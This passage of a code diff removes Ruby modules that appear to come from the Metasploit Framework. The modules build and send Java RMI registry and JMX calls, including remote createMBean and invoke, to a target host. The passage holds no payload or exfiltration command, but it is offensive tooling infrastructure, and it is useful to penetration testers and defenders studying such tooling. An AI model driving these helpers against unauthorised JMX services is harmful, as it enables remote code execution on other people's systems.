# @return [Hash] The global datastore option. If the option is not set, then the value is empty.
|
||||
|
|
|
@ -1,96 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Builder
|
||||
# Builds a RMI header stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :signature
|
||||
# @option opts [Fixnum] :version
|
||||
# @option opts [Fixnum] :protocol
|
||||
# @return [Rex::Proto::Rmi::Model::OutputHeader]
|
||||
def build_header(opts = {})
|
||||
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
|
||||
version = opts[:version] || 2
|
||||
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
|
||||
|
||||
header = Rex::Proto::Rmi::Model::OutputHeader.new(
|
||||
signature: signature,
|
||||
version: version,
|
||||
protocol: protocol)
|
||||
|
||||
header
|
||||
end
|
||||
|
||||
# Builds a RMI call stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Array>}]
|
||||
# @option opts [Fixnum] :message_id
|
||||
# @option opts [Fixnum] :object_number Random to identify the object.
|
||||
# @option opts [Fixnum] :uid_number Identifies the VM where the object was generated.
|
||||
# @option opts [Fixnum] :uid_time Time where the object was generated.
|
||||
# @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM
|
||||
# at the same time.
|
||||
# @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2
|
||||
# it is -1.
|
||||
# @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash
|
||||
# representing the method to call.
|
||||
# @option opts [Array] :arguments
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
def build_call(opts = {})
|
||||
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
operation = opts[:operation] || -1
|
||||
hash = opts[:hash] || 0
|
||||
arguments = opts[:arguments] || []
|
||||
|
||||
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new(
|
||||
number: uid_number,
|
||||
time: uid_time,
|
||||
count: uid_count
|
||||
)
|
||||
|
||||
call_data = Rex::Proto::Rmi::Model::CallData.new(
|
||||
object_number: object_number,
|
||||
uid: uid,
|
||||
operation: operation,
|
||||
hash: hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call = Rex::Proto::Rmi::Model::Call.new(
|
||||
message_id: message_id,
|
||||
call_data: call_data
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds a RMI dgc ack stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||
# @option opts [Fixnum] :stream_id
|
||||
# @option opts [String] :unique_identifier
|
||||
# @return [Rex::Proto::Rmi::Model::DgcAck]
|
||||
def build_dgc_ack(opts = {})
|
||||
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
|
||||
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
|
||||
stream_id: stream_id,
|
||||
unique_identifier: unique_identifier
|
||||
)
|
||||
|
||||
dgc_ack
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,147 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/rmi'
|
||||
require 'rex/java/serialization'
|
||||
require 'stringio'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
|
||||
require 'msf/java/rmi/util'
|
||||
require 'msf/java/rmi/builder'
|
||||
require 'msf/java/rmi/client/registry'
|
||||
require 'msf/java/rmi/client/jmx'
|
||||
|
||||
include Msf::Java::Rmi::Util
|
||||
include Msf::Java::Rmi::Builder
|
||||
include Msf::Java::Rmi::Client::Registry
|
||||
include Msf::Java::Rmi::Client::Jmx
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
# Returns the target host
|
||||
#
|
||||
# @return [String]
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
# Returns the target port
|
||||
#
|
||||
# @return [Fixnum]
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
# Returns the RMI server peer
|
||||
#
|
||||
# @return [String]
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
# Sends a RMI header stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_header
|
||||
def send_header(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_header(opts)
|
||||
nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00")
|
||||
end
|
||||
|
||||
# Sends a RMI CALL stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @option opts [Rex::Proto::Rmi::Model::Call] :call
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_call
|
||||
def send_call(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
call = opts[:call] || build_call(opts)
|
||||
nsock.put(call.encode)
|
||||
end
|
||||
|
||||
# Sends a RMI DGCACK stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_dgc_ack
|
||||
def send_dgc_ack(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_dgc_ack(opts)
|
||||
nsock.put(stream.encode)
|
||||
end
|
||||
|
||||
# Reads the Protocol Ack
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Proto::Rmi::Model::ProtocolAck] if success
|
||||
# @return [NilClass] otherwise
|
||||
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
|
||||
def recv_protocol_ack(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
begin
|
||||
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
|
||||
rescue Rex::Proto::Rmi::DecodeError
|
||||
return nil
|
||||
end
|
||||
|
||||
ack
|
||||
end
|
||||
|
||||
# Reads a ReturnData message and returns the java serialized stream
|
||||
# with the return data value.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Proto::Rmi::Model::ReturnValue] if success
|
||||
# @return [NilClass] otherwise
|
||||
# @see Rex::Proto::Rmi::Model::ReturnData.decode
|
||||
def recv_return(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
|
||||
begin
|
||||
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
|
||||
rescue Rex::Proto::Rmi::DecodeError
|
||||
return nil
|
||||
end
|
||||
|
||||
return_data.return_value
|
||||
end
|
||||
|
||||
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
|
||||
#
|
||||
# @param nsock [Rex::Socket::Tcp]
|
||||
# @return [String]
|
||||
def safe_get_once(nsock = sock)
|
||||
data = ''
|
||||
begin
|
||||
res = nsock.get_once
|
||||
rescue ::EOFError
|
||||
res = nil
|
||||
end
|
||||
|
||||
until res.nil? || res.length < 1448
|
||||
data << res
|
||||
begin
|
||||
res = nsock.get_once
|
||||
rescue ::EOFError
|
||||
res = nil
|
||||
end
|
||||
end
|
||||
|
||||
data << res if res
|
||||
data
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,23 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
require 'msf/java/rmi/client/jmx/server'
|
||||
require 'msf/java/rmi/client/jmx/connection'
|
||||
|
||||
include Msf::Java::Rmi::Client::Jmx::Server
|
||||
include Msf::Java::Rmi::Client::Jmx::Connection
|
||||
|
||||
OBJECT_NAME_UID = 1081892073854801359
|
||||
BYTE_ARRAY_UID = -5984413125824719648
|
||||
MARSHALLED_OBJECT_UID = 8988374069173025854
|
||||
STRING_ARRAY_UID = -5921575005990323385
|
||||
OBJECT_ARRAY_UID = -8012369246846506644
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,122 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
# This mixin provides methods to simulate calls to the Java
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub
|
||||
# interface
|
||||
module Connection
|
||||
require 'msf/java/rmi/client/jmx/connection/builder'
|
||||
|
||||
include Msf::Java::Rmi::Client::Jmx::Connection::Builder
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_get_object_instance
|
||||
def send_jmx_get_object_instance(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_get_object_instance(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to create an MBean instance. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_create_mbean
|
||||
def send_jmx_create_mbean(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_create_mbean(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to invoke an MBean method. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_invoke
|
||||
def send_jmx_invoke(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_invoke(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'java.util.HashSet'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,234 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Connection
|
||||
module Builder
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
# used to retrieve an MBean instance
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_jmx_get_object_instance(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
name = opts[:name] || ''
|
||||
|
||||
arguments = build_jmx_get_object_instance_args(name)
|
||||
|
||||
method_hash = calculate_method_hash('getObjectInstance(Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: method_hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
#
|
||||
# @param name [String] the MBean name
|
||||
# @return [Array]
|
||||
def build_jmx_get_object_instance_args(name = '')
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
arguments = [
|
||||
new_object,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, name),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new,
|
||||
Rex::Java::Serialization::Model::NullReference.new
|
||||
]
|
||||
|
||||
arguments
|
||||
end
|
||||
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
# used to retrieve an MBean instance
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_jmx_create_mbean(opts = {})
|
||||
name = opts[:name] || ''
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
|
||||
method_hash = calculate_method_hash('createMBean(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
|
||||
|
||||
arguments = build_jmx_create_mbean_args(name)
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: method_hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
#
|
||||
# @param name [Hash] the MBean name
|
||||
# @return [Array]
|
||||
def build_jmx_create_mbean_args(name = '')
|
||||
arguments = [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, name),
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::NullReference.new
|
||||
]
|
||||
|
||||
arguments
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
# used to invoke an MBean method
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
# @see #build_jmx_invoke_args
|
||||
def build_jmx_invoke(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
|
||||
method_hash = calculate_method_hash('invoke(Ljavax/management/ObjectName;Ljava/lang/String;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljava/lang/Object;')
|
||||
|
||||
arguments = build_jmx_invoke_args(opts)
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: method_hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :object the MBean name
|
||||
# @option opts [String] :method the method name
|
||||
# @option opts [Hash] :args the method arguments
|
||||
# @return [Array]
|
||||
def build_jmx_invoke_args(opts = {})
|
||||
object_name = opts[:object] || ''
|
||||
method_name = opts[:method] || ''
|
||||
args = opts[:args] || {}
|
||||
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
data_binary = builder.new_array(
|
||||
name: '[B',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::BYTE_ARRAY_UID, # serialVersionUID
|
||||
values_type: 'byte',
|
||||
values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*')
|
||||
)
|
||||
|
||||
marshall_object = builder.new_object(
|
||||
name: 'java.rmi.MarshalledObject',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::MARSHALLED_OBJECT_UID, # serialVersionUID
|
||||
fields: [
|
||||
['int', 'hash'],
|
||||
['array', 'locBytes', '[B'],
|
||||
['array', 'objBytes', '[B']
|
||||
],
|
||||
data: [
|
||||
["int", 1919492550],
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
data_binary
|
||||
]
|
||||
)
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
|
||||
)
|
||||
|
||||
arguments = [
|
||||
new_object,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, object_name),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, method_name),
|
||||
marshall_object,
|
||||
new_array,
|
||||
Rex::Java::Serialization::Model::NullReference.new
|
||||
]
|
||||
|
||||
arguments
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
|
||||
# simulate a call to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
# method.
|
||||
#
|
||||
# @param args [Hash] the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def build_invoke_arguments_obj_bytes(args = {})
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_ARRAY_UID, # serialVersionUID
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
values_type: 'java.lang.Object;',
|
||||
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << new_array
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,57 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Server
|
||||
require 'msf/java/rmi/client/jmx/server/builder'
|
||||
require 'msf/java/rmi/client/jmx/server/parser'
|
||||
|
||||
include Msf::Java::Rmi::Client::Jmx::Server::Builder
|
||||
include Msf::Java::Rmi::Client::Jmx::Server::Parser
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIServer_Stub#newClient()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Hash, NilClass] The connection information if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_new_client
|
||||
def send_new_client(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_new_client(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
remote_object = return_value.get_class_name
|
||||
|
||||
unless remote_object && remote_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
||||
return nil
|
||||
end
|
||||
|
||||
reference = parse_jmx_new_client_endpoint(return_value)
|
||||
|
||||
reference
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,73 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Server
|
||||
module Builder
|
||||
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIServer_Stub#newClient()
|
||||
# used to enumerate the names bound in a registry
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :username the JMX role to establish the connection if needed
|
||||
# @option opts [String] :password the JMX password to establish the connection if needed
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_jmx_new_client(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
username = opts[:username]
|
||||
password = opts[:password] || ''
|
||||
|
||||
if username
|
||||
arguments = build_jmx_new_client_args(username, password)
|
||||
else
|
||||
arguments = [Rex::Java::Serialization::Model::NullReference.new]
|
||||
end
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: -1089742558549201240, # javax.management.remote.rmi.RMIServer.newClient
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
|
||||
# to make an javax/management/remote/rmi/RMIServer_Stub#newClient call
|
||||
#
|
||||
# @param username [String] The username (role) to authenticate with
|
||||
# @param password [String] The password to authenticate with
|
||||
# @return [Array<Rex::Java::Serialization::Model::NewArray>]
|
||||
def build_jmx_new_client_args(username = '', password = '')
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
auth_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, username),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, password)
|
||||
]
|
||||
)
|
||||
|
||||
[auth_array]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,35 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Server
|
||||
module Parser
|
||||
# Parses a javax/management/remote/rmi/RMIServer_Stub#newClient() return value
|
||||
# to find out the remote reference information.
|
||||
#
|
||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
|
||||
def parse_jmx_new_client_endpoint(return_value)
|
||||
values_size = return_value.value.length
|
||||
end_point_block_data = return_value.value[values_size - 2]
|
||||
|
||||
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
|
||||
return nil
|
||||
end
|
||||
|
||||
return_io = StringIO.new(end_point_block_data.contents, 'rb')
|
||||
|
||||
reference = extract_reference(return_io)
|
||||
|
||||
reference
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,129 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
# This mixin provides methods to simulate calls to the Java java/rmi/registry/RegistryImpl_Stub
|
||||
# interface
|
||||
module Registry
|
||||
require 'msf/java/rmi/client/registry/builder'
|
||||
require 'msf/java/rmi/client/registry/parser'
|
||||
|
||||
include Msf::Java::Rmi::Client::Registry::Builder
|
||||
include Msf::Java::Rmi::Client::Registry::Parser
|
||||
|
||||
# Sends a Registry lookup call to the RMI endpoint. Simulates a call to the Java
|
||||
# java/rmi/registry/RegistryImpl_Stub#lookup() method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Hash, NilClass] The remote reference information if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup
|
||||
def send_registry_lookup(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_registry_lookup(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
remote_object = return_value.get_class_name
|
||||
|
||||
if remote_object.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
remote_location = parse_registry_lookup_endpoint(return_value)
|
||||
|
||||
if remote_location.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
remote_location.merge(object: remote_object)
|
||||
end
|
||||
|
||||
# Sends a Registry list call to the RMI endpoint. Simulates a call to the Java
|
||||
# java/rmi/registry/RegistryImpl_Stub#list() method
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Array, NilClass] The set of names if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_list
|
||||
def send_registry_list(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_registry_list(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
names = parse_registry_list(return_value)
|
||||
|
||||
names
|
||||
end
|
||||
|
||||
# Calculates the hash to make RMI calls for the
|
||||
# java/rmi/registry/RegistryImpl_Stub interface
|
||||
#
|
||||
# @return [Fixnum] The interface's hash
|
||||
def registry_interface_hash
|
||||
hash = calculate_interface_hash(
|
||||
[
|
||||
{
|
||||
name: 'bind',
|
||||
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'list',
|
||||
descriptor: '()[Ljava/lang/String;',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
